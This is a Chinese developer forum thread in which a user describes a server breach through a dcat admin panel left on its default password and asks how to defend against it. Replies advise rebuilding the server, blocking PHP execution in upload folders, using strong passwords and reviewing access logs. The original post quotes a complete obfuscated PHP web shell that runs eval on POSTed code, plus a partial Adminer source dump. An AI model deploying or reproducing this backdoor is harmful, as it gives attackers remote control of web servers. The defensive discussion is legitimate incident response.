服务器被攻击该怎么防护?

服务器被攻击,后台管理用的dcat admin,刚开始用的默认密码,不知道是暴力破解还是什么原因,最终在项目的图片目录里发现大量的shell脚本,以及.php文件,类如:

服务器被攻击该怎么防护?

服务器被攻击该怎么防护?

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license https://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.8.1
*/function
adminer_errors($Cc,$Ec){return!!preg_match('~^(Trying to access array offset on value of type null|Undefined array key)~',$Ec);}error_reporting(6135);set_error_handler('adminer_errors',E_WARNING);$ad=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($ad||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Ii=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Ii)$$X=$Ii;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");function
connection(){global$g;return$g;}function
adminer(){global$b;return$b;}function
version(){global$ia;return$ia;}function
idf_unescape($v){if(!preg_match('~^[`\'"]~',$v))return$v;$qe=substr($v,-1);return
str_replace($qe.$qe,$qe,substr($v,1,-1));}function
escape_string($X){return
substr(q($X),1,-1);}function
number($X){return
preg_replace('~[^0-9]+~','',$X);}function
number_type(){return'((?<!o)int(?!er)|numeric|real|float|double|decimal|money)';}function
remove_slashes($tg,$ad=false){if(function_exists("get_magic_quotes_gpc")&&get_magic_quotes_gpc()){while(list($z,$X)=each($tg)){foreach($X
as$he=>$W){unset($tg[$z][$he]);if(is_array($W)){$tg[$z][stripslashes($he)]=$W;$tg[]=&$tg[$z][stripslashes($he)];}else$tg[$z][stripslashes($he)]=($ad?$W:stripslashes($W));}}}}function
bracket_escape($v,$Na=false){static$ui=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');return
strtr($v,($Na?array_flip($ui):$ui));}function
min_version($Zi,$De="",$h=null){global$g;if(!$h)$h=$g;$nh=$h->server_info;if($De&&preg_match('~([\d.]+)-MariaDB~',$nh,$C)){$nh=$C[1];$Zi=$De;}return(version_compare($nh,$Zi)>=0);}function
charset($g){return(min_version("5.5.3",0,$g)?"utf8mb4":"utf8");}function
script($yh,$ti="\n"){return"<script".nonce().">$yh</script>$ti";}function
script_src($Ni){return"<script src='".h($Ni)."'".nonce()."></script>\n";}function
nonce(){return' nonce="'.get_nonce().'"';}function
target_blank(){return' target="_blank" rel="noreferrer noopener"';}function
h($P){return
str_replace("\0","&#0;",htmlspecialchars($P,ENT_QUOTES,'utf-8'));}function
nl_br($P){return
str_replace("\n","<br>",$P);}function
checkbox($D,$Y,$db,$me="",$uf="",$hb="",$ne=""){$I="<input type='checkbox' name='$D' value='".h($Y)."'".($db?" checked":"").($ne?" aria-labelledby='$ne'":"").">".($uf?script("qsl('input').onclick = function () { $uf };",""):"");return($me!=""||$hb?"<label".($hb?" class='$hb'":"").">$I".h($me)."</label>":$I);}function
optionlist($_f,$gh=null,$Ri=false){$I="";foreach($_f
as$he=>$W){$Af=array($he=>$W);if(is_array($W)){$I.='<optgroup label="'.h($he).'">';$Af=$W;}foreach($Af
as$z=>$X)$I.='<option'.($Ri||is_string($z)?' value="'.h($z).'"':'').(($Ri||is_string($z)?(string)$z:$X)===$gh?' selected':'').'>'.h($X);if(is_array($W))$I.='</optgroup>';}return$I;}function
html_select($D,$_f,$Y="",$tf=true,$ne=""){if($tf)return"<select name='".h($D)."'".($ne?" aria-labelledby='$ne'":"").">".optionlist($_f,$Y)."</select>".(is_string($tf)?script("qsl('select').onchange = function () { $tf };",""):"");$I="";foreach($_f
as$z=>$X)$I.="<label><input type='radio' name='".h($D)."' value='".h($z)."'".($z==$Y?" checked":"").">".h($X)."</label>";return$I;}function
select_input($Ia,$_f,$Y="",$tf="",$fg=""){$Yh=($_f?"select":"input");return"<$Yh$Ia".($_f?"><option value=''>$fg".optionlist($_f,$Y,true)."</select>":" size='10' value='".h($Y)."' placeholder='$fg'>").($tf?script("qsl('$Yh').onchange = $tf;",""):"");}function
confirm($Ne="",$hh="qsl('input')"){return
script("$hh.onclick = function () { return confirm('".($Ne?js_escape($Ne):lang(0))."'); };","");}function
print_fieldset($u,$ve,$cj=false){echo"<fieldset><legend>","<a href='#fieldset-$u'>$ve</a>",script("qsl('a').onclick = partial(toggle, 'fieldset-$u');",""),"</legend>","<div id='fieldset-$u'".($cj?"":" class='hidden'").">\n";}function
bold($Ua,$hb=""){return($Ua?" class='active $hb'":($hb?" class='$hb'":""));}function
odd($I=' class="odd"'){static$t=0;if(!$I)$t=-1;return($t++%2?$I:'');}function
js_escape($P){return

目前这些文件全部被清除,也加强了防护,但是目前是http协议安全性还有待提高,各位大神帮忙出出主意怎么能防止这类事件发生

《L04 微信小程序从零到发布》
从小程序个人账户申请开始,带你一步步进行开发一个微信小程序,直到提交微信控制台上线发布。
《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
讨论数量: 27
Summer

当务之急,先止损,保证线上正常运行。

不止要删 PHP 文件。

先创建台新的机器,这个非常有必要,被渗透了,很有可能已经拿到服务器权限,黑客有一万种办法给你留后门,不可能去一一排除。保留老的作为调查使用(修改 ssh 使用 key 登录)。

文件权限可以看这里 翻译:如何正确地设置 Laravel 目录权限?

2年前 评论
Summer (作者) 2年前
luyang (楼主) 2年前
抄你码科技有限公司

附件目录你给了执行权限?

2年前 评论
luyang (楼主) 2年前
喝卵形 2年前
抄你码科技有限公司 (作者) 2年前
luyang (楼主) 2年前
luyang (楼主) 2年前
liaosp 2年前
Imuyu 2年前
  1. 隐藏登录入口 (不要使用 domain/admin 这种一猜就能猜到的)
  2. 使用强口令,防止爆破
  3. 上传目录权限设置,禁止运行 PHP 文件 (在 Web 服务器设置)
  4. 使用 CDN 隐藏真实 IP,防止攻击

……

2年前 评论
luyang (楼主) 2年前

图片目录有PHP文件?是不是用的那个框架上传功能有漏洞呢?可以上传非jpg、png文件或者说根本没有做后缀随意上传?首先有可能框架漏洞,如果不是,或者你从哪里下载的第三方非官网代码直接部署到服务器上面去了(可能被别人恶意改过代码,在项目某个文件下面有shell文件,可以上传一句话木马之类的……)建议把你的代码完整拷贝到本地,下载个D盾(WEB查杀后门),对项目进行木马查杀,基本上是可以定位到木马文件的……

2年前 评论
luyang (楼主) 2年前
apud (作者) 2年前
luyang (楼主) 2年前
Summer

当务之急,先止损,保证线上正常运行。

不止要删 PHP 文件。

先创建台新的机器,这个非常有必要,被渗透了,很有可能已经拿到服务器权限,黑客有一万种办法给你留后门,不可能去一一排除。保留老的作为调查使用(修改 ssh 使用 key 登录)。

文件权限可以看这里 翻译:如何正确地设置 Laravel 目录权限?

2年前 评论
Summer (作者) 2年前
luyang (楼主) 2年前

1.上传地址前缀确认一下,防止他随意的指定上传 2.最好按照summer大佬说的,换新机器,不然还得检查其他目录里边有没有被上传文件

2年前 评论

最快速的解决办法就是花钱上 web 防火墙

2年前 评论

附加一个建议:来路不明的composer包,不装。 :joy:

2年前 评论
MArtian 2年前
laravelphp_game 2年前
MArtian 2年前

看到尾文……连https都不上呀!?

2年前 评论
luyang (楼主) 2年前
leo
  1. https 和被入侵大概率没有关系
  2. 目前看渗透手段是通过上传 php 后门,简单的解决方案是把 storage 改为第三方存储比如阿里云 OSS,这样即使对方上传了后门文件也无法执行
  3. 保存 nginx 的 access log,按 IP 分析一下入侵路径
2年前 评论

看起来就是被上传了php脚本文件,上传文件的代码检测的严格一点,服务器要重装下,很可能被提权了。然后在nginx吧你的上传目录限制不能执行.php等非图片后缀的文件。当然加上https也会好些

2年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!